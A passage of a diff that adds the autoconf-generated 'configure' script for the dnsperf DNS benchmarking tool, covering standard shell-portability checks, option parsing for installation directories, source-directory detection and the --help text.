\$exitcode = 0") || { + echo No shell found that supports shell functions. + echo Please tell bug-autoconf@gnu.org about your system, + echo including any error possibly output before this message. + echo This can help us improve future autoconf versions. + echo Configuration will now proceed without shell functions. +} + + + + as_lineno_1=$LINENO + as_lineno_2=$LINENO + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x`expr $as_lineno_1 + 1`" = "x$as_lineno_2" || { + + # Create $as_me.lineno as a copy of $as_myself, but with $LINENO + # uniformly replaced by the line number. The first 'sed' inserts a + # line-number line after each line using $LINENO; the second 'sed' + # does the real work. The second script uses 'N' to pair each + # line-number line with the line containing $LINENO, and appends + # trailing '-' during substitution so that $LINENO is not a special + # case at line end. + # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the + # scripts with optimization help from Paolo Bonzini. Blame Lee + # E. McMahon (1931-1989) for sed's syntax. :-) + sed -n ' + p + /[$]LINENO/= + ' <$as_myself | + sed ' + s/[$]LINENO.*/&-/ + t lineno + b + :lineno + N + :loop + s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ + t loop + s/-\n.*// + ' >$as_me.lineno && + chmod +x "$as_me.lineno" || + { $as_echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2 + { (exit 1); exit 1; }; } + + # Don't try to exec as it changes $[0], causing all sort of problems + # (the dirname of $[0] is not the place where we might find the + # original and so on. Autoconf is especially sensitive to this). + . "./$as_me.lineno" + # Exit status is that of the last command. + exit +} + + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +ECHO_C= ECHO_N= ECHO_T= +case `echo -n x` in +-n*) + case `echo 'x\c'` in + *c*) ECHO_T=' ';; # ECHO_T is single tab character. + *) ECHO_C='\c';; + esac;; +*) + ECHO_N='-n';; +esac +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +rm -f conf$$ conf$$.exe conf$$.file +if test -d conf$$.dir; then + rm -f conf$$.dir/conf$$.file +else + rm -f conf$$.dir + mkdir conf$$.dir 2>/dev/null +fi +if (echo >conf$$.file) 2>/dev/null; then + if ln -s conf$$.file conf$$ 2>/dev/null; then + as_ln_s='ln -s' + # ... but there are two gotchas: + # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. + # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. + # In both cases, we have to default to `cp -p'. + ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || + as_ln_s='cp -p' + elif ln conf$$.file conf$$ 2>/dev/null; then + as_ln_s=ln + else + as_ln_s='cp -p' + fi +else + as_ln_s='cp -p' +fi +rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file +rmdir conf$$.dir 2>/dev/null + +if mkdir -p . 2>/dev/null; then + as_mkdir_p=: +else + test -d ./-p && rmdir ./-p + as_mkdir_p=false +fi + +if test -x / >/dev/null 2>&1; then + as_test_x='test -x' +else + if ls -dL / >/dev/null 2>&1; then + as_ls_L_option=L + else + as_ls_L_option= + fi + as_test_x=' + eval sh -c '\'' + if test -d "$1"; then + test -d "$1/."; + else + case $1 in + -*)set "./$1";; + esac; + case `ls -ld'$as_ls_L_option' "$1" 2>/dev/null` in + ???[sx]*):;;*)false;;esac;fi + '\'' sh + ' +fi +as_executable_p=$as_test_x + +# Sed expression to map a string onto a valid CPP name. +as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" + +# Sed expression to map a string onto a valid variable name. +as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" + + + +exec 7<&0 &1 + +# Name of the host. +# hostname on some systems (SVR3.2, Linux) returns a bogus exit status, +# so uname gets run too. +ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` + +# +# Initializations. +# +ac_default_prefix=/usr/local +ac_clean_files= +ac_config_libobj_dir=. +LIBOBJS= +cross_compiling=no +subdirs= +MFLAGS= +MAKEFLAGS= +SHELL=${CONFIG_SHELL-/bin/sh} + +# Identity of this package. +PACKAGE_NAME= +PACKAGE_TARNAME= +PACKAGE_VERSION= +PACKAGE_STRING= +PACKAGE_BUGREPORT= + +ac_unique_file="dnsperf.c" +ac_subst_vars='LTLIBOBJS +LIBOBJS +PTHREAD_CFLAGS +PTHREAD_LIBS +PTHREAD_CC +acx_pthread_config +host_os +host_vendor +host_cpu +host +build_os +build_vendor +build_cpu +build +DNSCFLAGS +DNSLIBS +ac_cv_isc_config +RANLIB +INSTALL_DATA +INSTALL_SCRIPT +INSTALL_PROGRAM +OBJEXT +EXEEXT +ac_ct_CC +CPPFLAGS +LDFLAGS +CFLAGS +CC +target_alias +host_alias +build_alias +LIBS +ECHO_T +ECHO_N +ECHO_C +DEFS +mandir +localedir +libdir +psdir +pdfdir +dvidir +htmldir +infodir +docdir +oldincludedir +includedir +localstatedir +sharedstatedir +sysconfdir +datadir +datarootdir +libexecdir +sbindir +bindir +program_transform_name +prefix +exec_prefix +PACKAGE_BUGREPORT +PACKAGE_STRING +PACKAGE_VERSION +PACKAGE_TARNAME +PACKAGE_NAME +PATH_SEPARATOR +SHELL' +ac_subst_files='' +ac_user_opts=' +enable_option_checking +' + ac_precious_vars='build_alias +host_alias +target_alias +CC +CFLAGS +LDFLAGS +LIBS +CPPFLAGS' + + +# Initialize some variables set by options. +ac_init_help= +ac_init_version=false +ac_unrecognized_opts= +ac_unrecognized_sep= +# The variables have the same names as the options, with +# dashes changed to underlines. +cache_file=/dev/null +exec_prefix=NONE +no_create= +no_recursion= +prefix=NONE +program_prefix=NONE +program_suffix=NONE +program_transform_name=s,x,x, +silent= +site= +srcdir= +verbose= +x_includes=NONE +x_libraries=NONE + +# Installation directory options. +# These are left unexpanded so users can "make install exec_prefix=/foo" +# and all the variables that are supposed to be based on exec_prefix +# by default will actually change. +# Use braces instead of parens because sh, perl, etc. also accept them. +# (The list follows the same order as the GNU Coding Standards.) +bindir='${exec_prefix}/bin' +sbindir='${exec_prefix}/sbin' +libexecdir='${exec_prefix}/libexec' +datarootdir='${prefix}/share' +datadir='${datarootdir}' +sysconfdir='${prefix}/etc' +sharedstatedir='${prefix}/com' +localstatedir='${prefix}/var' +includedir='${prefix}/include' +oldincludedir='/usr/include' +docdir='${datarootdir}/doc/${PACKAGE}' +infodir='${datarootdir}/info' +htmldir='${docdir}' +dvidir='${docdir}' +pdfdir='${docdir}' +psdir='${docdir}' +libdir='${exec_prefix}/lib' +localedir='${datarootdir}/locale' +mandir='${datarootdir}/man' + +ac_prev= +ac_dashdash= +for ac_option +do + # If the previous option needs an argument, assign it. + if test -n "$ac_prev"; then + eval $ac_prev=\$ac_option + ac_prev= + continue + fi + + case $ac_option in + *=*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; + *) ac_optarg=yes ;; + esac + + # Accept the important Cygnus configure options, so we can diagnose typos. + + case $ac_dashdash$ac_option in + --) + ac_dashdash=yes ;; + + -bindir | --bindir | --bindi | --bind | --bin | --bi) + ac_prev=bindir ;; + -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) + bindir=$ac_optarg ;; + + -build | --build | --buil | --bui | --bu) + ac_prev=build_alias ;; + -build=* | --build=* | --buil=* | --bui=* | --bu=*) + build_alias=$ac_optarg ;; + + -cache-file | --cache-file | --cache-fil | --cache-fi \ + | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) + ac_prev=cache_file ;; + -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ + | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) + cache_file=$ac_optarg ;; + + --config-cache | -C) + cache_file=config.cache ;; + + -datadir | --datadir | --datadi | --datad) + ac_prev=datadir ;; + -datadir=* | --datadir=* | --datadi=* | --datad=*) + datadir=$ac_optarg ;; + + -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ + | --dataroo | --dataro | --datar) + ac_prev=datarootdir ;; + -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ + | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) + datarootdir=$ac_optarg ;; + + -disable-* | --disable-*) + ac_useropt=`expr "x$ac_option" : 'x-*disable-\(.*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && + { $as_echo "$as_me: error: invalid feature name: $ac_useropt" >&2 + { (exit 1); exit 1; }; } + ac_useropt_orig=$ac_useropt + ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` + case $ac_user_opts in + *" +"enable_$ac_useropt" +"*) ;; + *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--disable-$ac_useropt_orig" + ac_unrecognized_sep=', ';; + esac + eval enable_$ac_useropt=no ;; + + -docdir | --docdir | --docdi | --doc | --do) + ac_prev=docdir ;; + -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) + docdir=$ac_optarg ;; + + -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) + ac_prev=dvidir ;; + -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) + dvidir=$ac_optarg ;; + + -enable-* | --enable-*) + ac_useropt=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && + { $as_echo "$as_me: error: invalid feature name: $ac_useropt" >&2 + { (exit 1); exit 1; }; } + ac_useropt_orig=$ac_useropt + ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` + case $ac_user_opts in + *" +"enable_$ac_useropt" +"*) ;; + *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--enable-$ac_useropt_orig" + ac_unrecognized_sep=', ';; + esac + eval enable_$ac_useropt=\$ac_optarg ;; + + -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ + | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ + | --exec | --exe | --ex) + ac_prev=exec_prefix ;; + -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ + | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ + | --exec=* | --exe=* | --ex=*) + exec_prefix=$ac_optarg ;; + + -gas | --gas | --ga | --g) + # Obsolete; use --with-gas. + with_gas=yes ;; + + -help | --help | --hel | --he | -h) + ac_init_help=long ;; + -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) + ac_init_help=recursive ;; + -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) + ac_init_help=short ;; + + -host | --host | --hos | --ho) + ac_prev=host_alias ;; + -host=* | --host=* | --hos=* | --ho=*) + host_alias=$ac_optarg ;; + + -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) + ac_prev=htmldir ;; + -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ + | --ht=*) + htmldir=$ac_optarg ;; + + -includedir | --includedir | --includedi | --included | --include \ + | --includ | --inclu | --incl | --inc) + ac_prev=includedir ;; + -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ + | --includ=* | --inclu=* | --incl=* | --inc=*) + includedir=$ac_optarg ;; + + -infodir | --infodir | --infodi | --infod | --info | --inf) + ac_prev=infodir ;; + -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) + infodir=$ac_optarg ;; + + -libdir | --libdir | --libdi | --libd) + ac_prev=libdir ;; + -libdir=* | --libdir=* | --libdi=* | --libd=*) + libdir=$ac_optarg ;; + + -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ + | --libexe | --libex | --libe) + ac_prev=libexecdir ;; + -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ + | --libexe=* | --libex=* | --libe=*) + libexecdir=$ac_optarg ;; + + -localedir | --localedir | --localedi | --localed | --locale) + ac_prev=localedir ;; + -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) + localedir=$ac_optarg ;; + + -localstatedir | --localstatedir | --localstatedi | --localstated \ + | --localstate | --localstat | --localsta | --localst | --locals) + ac_prev=localstatedir ;; + -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ + | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) + localstatedir=$ac_optarg ;; + + -mandir | --mandir | --mandi | --mand | --man | --ma | --m) + ac_prev=mandir ;; + -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) + mandir=$ac_optarg ;; + + -nfp | --nfp | --nf) + # Obsolete; use --without-fp. + with_fp=no ;; + + -no-create | --no-create | --no-creat | --no-crea | --no-cre \ + | --no-cr | --no-c | -n) + no_create=yes ;; + + -no-recursion | --no-recursion | --no-recursio | --no-recursi \ + | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) + no_recursion=yes ;; + + -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ + | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ + | --oldin | --oldi | --old | --ol | --o) + ac_prev=oldincludedir ;; + -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ + | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ + | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) + oldincludedir=$ac_optarg ;; + + -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) + ac_prev=prefix ;; + -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) + prefix=$ac_optarg ;; + + -program-prefix | --program-prefix | --program-prefi | --program-pref \ + | --program-pre | --program-pr | --program-p) + ac_prev=program_prefix ;; + -program-prefix=* | --program-prefix=* | --program-prefi=* \ + | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) + program_prefix=$ac_optarg ;; + + -program-suffix | --program-suffix | --program-suffi | --program-suff \ + | --program-suf | --program-su | --program-s) + ac_prev=program_suffix ;; + -program-suffix=* | --program-suffix=* | --program-suffi=* \ + | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) + program_suffix=$ac_optarg ;; + + -program-transform-name | --program-transform-name \ + | --program-transform-nam | --program-transform-na \ + | --program-transform-n | --program-transform- \ + | --program-transform | --program-transfor \ + | --program-transfo | --program-transf \ + | --program-trans | --program-tran \ + | --progr-tra | --program-tr | --program-t) + ac_prev=program_transform_name ;; + -program-transform-name=* | --program-transform-name=* \ + | --program-transform-nam=* | --program-transform-na=* \ + | --program-transform-n=* | --program-transform-=* \ + | --program-transform=* | --program-transfor=* \ + | --program-transfo=* | --program-transf=* \ + | --program-trans=* | --program-tran=* \ + | --progr-tra=* | --program-tr=* | --program-t=*) + program_transform_name=$ac_optarg ;; + + -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) + ac_prev=pdfdir ;; + -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) + pdfdir=$ac_optarg ;; + + -psdir | --psdir | --psdi | --psd | --ps) + ac_prev=psdir ;; + -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) + psdir=$ac_optarg ;; + + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + silent=yes ;; + + -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) + ac_prev=sbindir ;; + -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ + | --sbi=* | --sb=*) + sbindir=$ac_optarg ;; + + -sharedstatedir | --sharedstatedir | --sharedstatedi \ + | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ + | --sharedst | --shareds | --shared | --share | --shar \ + | --sha | --sh) + ac_prev=sharedstatedir ;; + -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ + | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ + | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ + | --sha=* | --sh=*) + sharedstatedir=$ac_optarg ;; + + -site | --site | --sit) + ac_prev=site ;; + -site=* | --site=* | --sit=*) + site=$ac_optarg ;; + + -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) + ac_prev=srcdir ;; + -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) + srcdir=$ac_optarg ;; + + -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ + | --syscon | --sysco | --sysc | --sys | --sy) + ac_prev=sysconfdir ;; + -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ + | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) + sysconfdir=$ac_optarg ;; + + -target | --target | --targe | --targ | --tar | --ta | --t) + ac_prev=target_alias ;; + -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) + target_alias=$ac_optarg ;; + + -v | -verbose | --verbose | --verbos | --verbo | --verb) + verbose=yes ;; + + -version | --version | --versio | --versi | --vers | -V) + ac_init_version=: ;; + + -with-* | --with-*) + ac_useropt=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && + { $as_echo "$as_me: error: invalid package name: $ac_useropt" >&2 + { (exit 1); exit 1; }; } + ac_useropt_orig=$ac_useropt + ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` + case $ac_user_opts in + *" +"with_$ac_useropt" +"*) ;; + *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--with-$ac_useropt_orig" + ac_unrecognized_sep=', ';; + esac + eval with_$ac_useropt=\$ac_optarg ;; + + -without-* | --without-*) + ac_useropt=`expr "x$ac_option" : 'x-*without-\(.*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && + { $as_echo "$as_me: error: invalid package name: $ac_useropt" >&2 + { (exit 1); exit 1; }; } + ac_useropt_orig=$ac_useropt + ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` + case $ac_user_opts in + *" +"with_$ac_useropt" +"*) ;; + *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--without-$ac_useropt_orig" + ac_unrecognized_sep=', ';; + esac + eval with_$ac_useropt=no ;; + + --x) + # Obsolete; use --with-x. + with_x=yes ;; + + -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ + | --x-incl | --x-inc | --x-in | --x-i) + ac_prev=x_includes ;; + -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ + | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) + x_includes=$ac_optarg ;; + + -x-libraries | --x-libraries | --x-librarie | --x-librari \ + | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) + ac_prev=x_libraries ;; + -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ + | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) + x_libraries=$ac_optarg ;; + + -*) { $as_echo "$as_me: error: unrecognized option: $ac_option +Try \`$0 --help' for more information." >&2 + { (exit 1); exit 1; }; } + ;; + + *=*) + ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` + # Reject names that are not valid shell variable names. + expr "x$ac_envvar" : ".*[^_$as_cr_alnum]" >/dev/null && + { $as_echo "$as_me: error: invalid variable name: $ac_envvar" >&2 + { (exit 1); exit 1; }; } + eval $ac_envvar=\$ac_optarg + export $ac_envvar ;; + + *) + # FIXME: should be removed in autoconf 3.0. + $as_echo "$as_me: WARNING: you should use --build, --host, --target" >&2 + expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && + $as_echo "$as_me: WARNING: invalid host type: $ac_option" >&2 + : ${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option} + ;; + + esac +done + +if test -n "$ac_prev"; then + ac_option=--`echo $ac_prev | sed 's/_/-/g'` + { $as_echo "$as_me: error: missing argument to $ac_option" >&2 + { (exit 1); exit 1; }; } +fi + +if test -n "$ac_unrecognized_opts"; then + case $enable_option_checking in + no) ;; + fatal) { $as_echo "$as_me: error: unrecognized options: $ac_unrecognized_opts" >&2 + { (exit 1); exit 1; }; } ;; + *) $as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2 ;; + esac +fi + +# Check all directory arguments for consistency. +for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ + datadir sysconfdir sharedstatedir localstatedir includedir \ + oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ + libdir localedir mandir +do + eval ac_val=\$$ac_var + # Remove trailing slashes. + case $ac_val in + */ ) + ac_val=`expr "X$ac_val" : 'X\(.*[^/]\)' \| "X$ac_val" : 'X\(.*\)'` + eval $ac_var=\$ac_val;; + esac + # Be sure to have absolute directory names. + case $ac_val in + [\\/$]* | ?:[\\/]* ) continue;; + NONE | '' ) case $ac_var in *prefix ) continue;; esac;; + esac + { $as_echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2 + { (exit 1); exit 1; }; } +done + +# There might be people who depend on the old broken behavior: `$host' +# used to hold the argument of --host etc. +# FIXME: To remove some day. +build=$build_alias +host=$host_alias +target=$target_alias + +# FIXME: To remove some day. +if test "x$host_alias" != x; then + if test "x$build_alias" = x; then + cross_compiling=maybe + $as_echo "$as_me: WARNING: If you wanted to set the --build type, don't use --host. + If a cross compiler is detected then cross compile mode will be used." >&2 + elif test "x$build_alias" != "x$host_alias"; then + cross_compiling=yes + fi +fi + +ac_tool_prefix= +test -n "$host_alias" && ac_tool_prefix=$host_alias- + +test "$silent" = yes && exec 6>/dev/null + + +ac_pwd=`pwd` && test -n "$ac_pwd" && +ac_ls_di=`ls -di .` && +ac_pwd_ls_di=`cd "$ac_pwd" && ls -di .` || + { $as_echo "$as_me: error: working directory cannot be determined" >&2 + { (exit 1); exit 1; }; } +test "X$ac_ls_di" = "X$ac_pwd_ls_di" || + { $as_echo "$as_me: error: pwd does not report name of working directory" >&2 + { (exit 1); exit 1; }; } + + +# Find the source files, if location was not specified. +if test -z "$srcdir"; then + ac_srcdir_defaulted=yes + # Try the directory containing this script, then the parent directory. + ac_confdir=`$as_dirname -- "$as_myself" || +$as_expr X"$as_myself" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_myself" : 'X\(//\)[^/]' \| \ + X"$as_myself" : 'X\(//\)$' \| \ + X"$as_myself" : 'X\(/\)' \| . 2>/dev/null || +$as_echo X"$as_myself" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + srcdir=$ac_confdir + if test ! -r "$srcdir/$ac_unique_file"; then + srcdir=.. + fi +else + ac_srcdir_defaulted=no +fi +if test ! -r "$srcdir/$ac_unique_file"; then + test "$ac_srcdir_defaulted" = yes && srcdir="$ac_confdir or .." + { $as_echo "$as_me: error: cannot find sources ($ac_unique_file) in $srcdir" >&2 + { (exit 1); exit 1; }; } +fi +ac_msg="sources are in $srcdir, but \`cd $srcdir' does not work" +ac_abs_confdir=`( + cd "$srcdir" && test -r "./$ac_unique_file" || { $as_echo "$as_me: error: $ac_msg" >&2 + { (exit 1); exit 1; }; } + pwd)` +# When building in place, set srcdir=. +if test "$ac_abs_confdir" = "$ac_pwd"; then + srcdir=. +fi +# Remove unnecessary trailing slashes from srcdir. +# Double slashes in file names in object file debugging info +# mess up M-x gdb in Emacs. +case $srcdir in +*/) srcdir=`expr "X$srcdir" : 'X\(.*[^/]\)' \| "X$srcdir" : 'X\(.*\)'`;; +esac +for ac_var in $ac_precious_vars; do + eval ac_env_${ac_var}_set=\${${ac_var}+set} + eval ac_env_${ac_var}_value=\$${ac_var} + eval ac_cv_env_${ac_var}_set=\${${ac_var}+set} + eval ac_cv_env_${ac_var}_value=\$${ac_var} +done + +# +# Report the --help message. +# +if test "$ac_init_help" = "long"; then + # Omit some internal or obsolete options to make the list less imposing. + # This message is too long to be a string in the A/UX 3.1 sh. + cat <<_ACEOF +\`configure' configures this package to adapt to many kinds of systems. + +Usage: $0 [OPTION]... [VAR=VALUE]... + +To assign environment variables (e.g., CC, CFLAGS...), specify them as +VAR=VALUE. See below for descriptions of some of the useful variables. + +Defaults for the options are specified in brackets. + +Configuration: + -h, --help display this help and exit + --help=short display options specific to this package + --help=recursive display the short help of all the included packages + -V, --version display version information and exit + -q, --quiet, --silent do not print \`checking...' messages + --cache-file=FILE cache test results in FILE [disabled] + -C, --config-cache alias for \`--cache-file=config.cache' + -n, --no-create do not create output files + --srcdir=DIR find the sources in DIR [configure dir or \`..'] + +Installation directories: + --prefix=PREFIX install architecture-independent files in PREFIX + [$ac_default_prefix] + --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX + [PREFIX] + +By default, \`make install' will install all the files in +\`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify +an installation prefix other than \`$ac_default_prefix' using \`--prefix', +for instance \`--prefix=\$HOME'. + +For better control, use the options below. + +Fine tuning of the installation directories: + --bindir=DIR user executables [EPREFIX/bin] + --sbindir=DIR system admin executables [EPREFIX/sbin] + --libexecdir=DIR program executables [EPREFIX/libexec] + --sysconfdir=DIR read-only single-machine data [PREFIX/etc] + --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] + --localstatedir=DIR modifiable single-machine data [PREFIX/var] + --libdir=DIR object code libraries [EPREFIX/lib] + --includedir=DIR C header files [PREFIX/include] + --oldincludedir=DIR C header files for non-gcc [/usr/include] + --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] + --datadir=DIR read-only architecture-independent data [DATAROOTDIR] + --infodir=DIR info documentation [DATAROOTDIR/info] + --localedir=DIR locale-dependent data [DATAROOTDIR/locale] + --mandir=DIR man documentation [DATAROOTDIR/man] + --docdir=DIR documentation root [DATAROOTDIR/doc/PACKAGE] + --htmldir=DIR html documentation [DOCDIR] + --dvidir=DIR dvi documentation [DOCDIR] + --pdfdir=DIR pdf documentation [DOCDIR] + --psdir=DIR ps documentation [DOCDIR] +_ACEOF + + cat <<\_ACEOF + +System types: + --build=BUILD configure for building on BUILD [guessed] + --host=HOST cross-compile to build programs to run on HOST [BUILD] +_ACEOF +fi + +if test -n "$ac_init_help"; then + + cat <<\_ACEOF + +Some influential environment variables: + CC C compiler command + CFLAGS C compiler flags + LDFLAGS linker flags, e.g. -L if you have libraries in a + nonstandard directory + LIBS libraries to pass to the linker, e.g. -l + CPPFLAGS C/C++/Objective C preprocessor flags, e.g. -I if + you have headers in a nonstandard directory + +Use these variables to override the choices made by `configure' or to help +it to find libraries and programs with nonstandard names/locations. + +_ACEOF +ac_status=$? +fi + +if test "$ac_init_help" = "recursive"; then + # If there are subdirs, report their specific --help. + for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue + test -d "$ac_dir" || + { cd "$srcdir" && ac_pwd=`pwd` && srcdir=. && test -d "$ac_dir"; } || + continue + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + cd "$ac_dir" || { ac_status=$?; continue; } + # Check for guested configure. + if test -f "$ac_srcdir/configure.gnu"; then + echo && + $SHELL "$ac_srcdir/configure.gnu" --help=recursive + elif test -f "$ac_srcdir/configure"; then + echo && + $SHELL "$ac_srcdir/configure" --help=recursive + else + $as_echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2 + fi || ac_status=$? + cd "$ac_pwd" || { ac_status=$?; break; } + done +fi + +test -n "$ac_init_help" && exit $ac_status +if $ac_init_version; then + cat <<\_ACEOF +configure +generated by GNU Autoconf 2.63 + +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, +2002, 2003, 2004, 2005, 2006, 2007, 2008 Free Software Foundation, Inc. +This configure script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it. +_ACEOF + exit +fi +cat >config.log <<_ACEOF +This file contains any messages produced by compilers while +running configure, to aid debugging if configure makes a mistake. + +It was created by 